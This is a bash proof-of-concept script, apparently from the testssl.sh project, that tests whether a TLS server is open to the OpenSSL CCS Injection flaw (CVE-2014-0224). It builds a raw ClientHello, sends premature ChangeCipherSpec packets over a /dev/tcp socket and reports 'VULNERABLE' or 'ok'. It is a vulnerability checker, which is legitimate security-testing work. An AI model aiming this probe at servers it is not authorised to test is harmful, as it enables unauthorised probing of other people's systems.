#!/bin/bash # POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224), # see https://www.openssl.org/news/secadv_20140605.txt # Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt # # sockets inspired by http://blog.chris007.de/?p=238 # mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607 # thx Ramon de C Valle # ###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' trap "cleanup" QUIT EXIT [ -z "$1" ] && exit 1 NODE="$1" PORT="443" SLEEP=2 MAXSLEEP=10 OCKREPLY="" COL_WIDTH=32 DEBUG=${DEBUG:-0} TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3 # the PoC contains per default only check for TLS1.0 as the is the least common denominator ccs_message="\x14\x03\x$TLSV\x00\x01\x01" client_hello=" # TLS header ( 5 bytes) ,x16, # Content type (x16 for handshake) x03, x$TLSV, # TLS Version x00, x93, # Length total # Handshake header x01, # Type (x01 for ClientHello) x00, x00, x8f, # Length client hello x03, x$TLSV, # TLS Version x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes xf5, xa3, x89, xca, x7a, xd9, xb4, xab, x3f, xd3, x22, x21, x5e, xc4, x65, x0d, x1e, xce, xed, xc2, x00, # Session ID length x00, x68, # Cipher suites length xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA xc0, x12, xc0, x11, xc0, x10, xc0, x0f, xc0, x0e, xc0, x0d, xc0, x0c, xc0, x0b, xc0, x0a, xc0, x09, xc0, x08, xc0, x07, xc0, x06, xc0, x05, xc0, x04, xc0, x03, xc0, x02, xc0, x01, x00, x39, x00, x38, x00, x37, x00, x36, x00, x35, x00, x34, x00, x33, x00, x32, x00, x31, x00, x30, x00, x2f, x00, x16, x00, x15, x00, x14, x00, x13, x00, x12, x00, x11, x00, x10, x00, x0f, x00, x0e, x00, x0d, x00, x0c, x00, x0b, x00, x0a, x00, x09, x00, x08, x00, x07, x00, x06, x00, x05, x00, x04, x00, x03, x00, x02, x00, x01, # TLS_RSA_WITH_NULL_MD5 x01, x00" # compression methods length (1) + Compression method(1) #msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') parse_hn_port() { # strip "https", supposed it was supplied additionally echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` # strip trailing urlpath NODE=`echo $NODE | sed -e 's/\/.*$//'` # determine port, supposed it was supplied additionally echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` echo -e "\n===> connecting to $NODE:$PORT\n" } wait_kill(){ pid=$1 maxsleep=$2 while true; do if ! ps $pid >/dev/null ; then return 0 # didn't reach maxsleep yet fi sleep 1 maxsleep=$((maxsleep - 1)) test $maxsleep -eq 0 && break done # needs to be killed: kill $pid >&2 2>/dev/null wait $pid 2>/dev/null return 3 # killed } socksend() { data=`echo $1` echo "\"$data\"" echo -en "$data" >&5 & sleep $SLEEP } sockread() { [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 ret=0 ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7 dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null & wait_kill $! $maxsleep ret=$? SOCKREPLY=$(cat $ddreply) rm $ddreply return $ret } # arg1: string to send # arg2: success string, yet to be parsed starttls_line0() { echo "$1" >&5 cat <&5 & wait_kill $! $SLEEP #[ $? -eq 3 ] && fixme "STARTTLS timed out" && exit 1 } ok_ids() { echo tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0 echo exit 0 } fd_socket(){ if ! exec 5<> /dev/tcp/$NODE/$PORT; then echo "`basename $0`: unable to connect to $NODE:$PORT" exit 2 fi case "$1" in # port 21) # https://tools.ietf.org/html/rfc4217 starttls_line0 "FEAT" starttls_line0 "AUTH TLS" ;; 25) #https://tools.ietf.org/html/rfc4217 starttls_line0 "EHLO testssl.sh" "250" starttls_line0 "STARTTLS" "220" ;; 110) # https://tools.ietf.org/html/rfc2595 starttls_line0 "STLS" "OK" ;; 119|433) # https://tools.ietf.org/html/rfc4642 starttls_line0 "CAPABILITIES" "101" starttls_line0 "STARTTLS" "382" ;; 143) # https://tools.ietf.org/html/rfc2595 starttls_line0 "a001 CAPABILITY" "OK" starttls_line0 "a002 STARTTLS" "OK" ;; 389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511 fixme "LDAP: FIXME not yet implemented" exit 1 ;; 674) # https://tools.ietf.org/html/rfc2595 fixme "ACAP: FIXME not yet implemented" exit 1 ;; 5222) starttls_line0 "" "proceed" fixme "XMPP: FIXME not yet implemented" ;; 443|995|993|465|*) # we don't need a special command here ;; esac echo } close_socket(){ exec 5<&- exec 5>&- return 0 } cleanup() { close_socket } #### main parse_hn_port fd_socket $PORT echo "##### sending standard client hello with TLS version 03,$TLSV:" socksend "$msg" $TLSV sleep 1 sockread 16384 echo "##### reading server hello:" if test $DEBUG ; then echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10 echo "[...]" echo fi if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0 exit 1 fi echo "##### sending ccs injection payload with TLS version 03,$TLSV (1)" socksend "$ccs_message" $TLSV || ok_ids sleep 1 echo "##### sending ccs injection payload with TLS version 03,$TLSV (2)" socksend "$ccs_message" $TLSV || ok_ids sleep 1 sockread 65534 echo echo "###### reply: " echo "=============================" echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20 echo "=============================" echo reply_sanitized=$(echo -e "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//') test $DEBUG || echo $reply_sanitized lines=$(echo -e "$SOCKREPLY" | xxd -c32 | wc -l) test $DEBUG || echo $lines if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then tput bold; tput setaf 2; echo "ok"; tput sgr0 ret=0 else tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 ret=1 fi echo exit $ret # vim:tw=100:ts=5:sw=5:expandtab # $Id: ccs-injection.bash,v 1.7 2015/07/01 17:48:00 dirkw Exp $